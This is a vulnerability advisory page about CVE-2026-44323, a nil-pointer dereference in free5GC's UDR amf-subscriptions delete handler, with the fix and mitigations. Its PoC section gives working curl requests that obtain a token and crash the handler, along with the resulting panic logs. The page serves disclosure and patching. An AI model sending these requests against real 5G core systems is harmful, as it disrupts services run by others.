# CVE-2026-44323: udr DoS — Fixed in 1.4.3

🐹

🐹 Go

Not in CISA KEV

MEDIUM severity

# CVE-2026-44323 — udr

MEDIUM [Fix: free5gc/udr@8a1d3c6](https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99)

CVE-2026-44323 is a medium-severity (CVSS 4.3) NULL Pointer Dereference vulnerability in github.com/free5gc/udr. A fix is available for github.com/free5gc/udr — see the affected versions and patch details below.

free5GC: UDR nudr-dr DELETE amf-subscriptions panics on missing subsId when UE state exists (nil pointer dereference)

Also known as[GHSA-4rqf-grm6-vf75](/vulnerability/GHSA-4rqf-grm6-vf75)GO-2026-5131

Published

May 27, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### No confirmed exploitation observed yet

-   CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44323.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

0.00%0.36%0.72%1.08%0.1%0.4%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐹`github.com/free5gc/udr`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.

This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

#### Details

Validated against the UDR container in the official Docker compose lab.

-   Source repo tag: `v4.2.1`
-   Running Docker image: `free5gc/udr:v4.2.1`
-   Runtime UDR commit: `754d23b0`
-   Docker validation date: 2026-03-22
-   UDR endpoint: `http://10.100.200.11:8000`

Precondition (one authenticated EE-subscription create allocates UE state):

```
if !ok {
    udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData))
    value, _ = udrSelf.UESubsCollection.Load(ueId)
}
...
UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection)
```

Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry:

```
_, ok = UESubsData.EeSubscriptionCollection[subsId]
if !ok {
    pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")
}

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil {
    pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND")
}
```

When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`.

Code evidence (paths in `free5gc/udr`):

-   Precondition route + handler (EE-subscription create that allocates UE state):
    -   `NFs/udr/internal/sbi/api_datarepository.go:600`
    -   `NFs/udr/internal/sbi/api_datarepository.go:602`
    -   `NFs/udr/internal/sbi/api_datarepository.go:2528`
    -   `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25`
    -   `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30`
    -   `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38`
-   Vulnerable delete route + dispatch:
    -   `NFs/udr/internal/sbi/api_datarepository.go:2161`
    -   `NFs/udr/internal/sbi/api_datarepository.go:2172`
-   Panic root cause (nil deref):
    -   `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62`
    -   `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64`
    -   `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69`

#### PoC

Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`.

1.  Restart UDR (clean state):

```
docker restart udr
```

1.  Obtain a valid `nudr-dr` token from NRF:

```
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
```

1.  Create one EE subscription to populate `UESubsCollection` for `ueId=x`:

```
curl -i -sS -X POST \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \
  -H 'Content-Type: application/json' \
  --data '{}'
```

```
HTTP/1.1 201 Created
```

1.  Trigger the panic with a nonexistent `subsId`:

```
curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'
```

```
HTTP/1.1 500 Internal Server Error
Content-Length: 0
```

1.  UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`:

```
[ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:69
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |
```

#### Impact

NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:

-   Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`.
-   Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have.

No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: [https://github.com/free5gc/free5gc/issues/919](https://github.com/free5gc/free5gc/issues/919) Upstream fix: [https://github.com/free5gc/udr/pull/60](https://github.com/free5gc/udr/pull/60)

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐹Go

`github.com/free5gc/udr` 

all versions

1.4.3`go get github.com/free5gc/udr@v1.4.3`

## Affected Products

1 product · 1 configurations

Application

`free5gc`free5gc

< 4.2.2

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/udr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update github.com/free5gc/udr to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44323 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
    

## Frequently Asked Questions

\### Summary free5GC's UDR \`nudr-dr\` \`DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions\` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks \`\_, ok = UESubsData.EeSubscriptionCollection\[subsId\]\` and sets a \`404\` problem-details on the miss path, but then continues to \`UESubsData.EeSubscriptionCollection\[subsId\].AmfSubscriptionInfos\` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into \`HTTP 5

O3 Security · Impact-Aware SCA

### Is CVE-2026-44323 in your dependencies?

Find it across Go, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)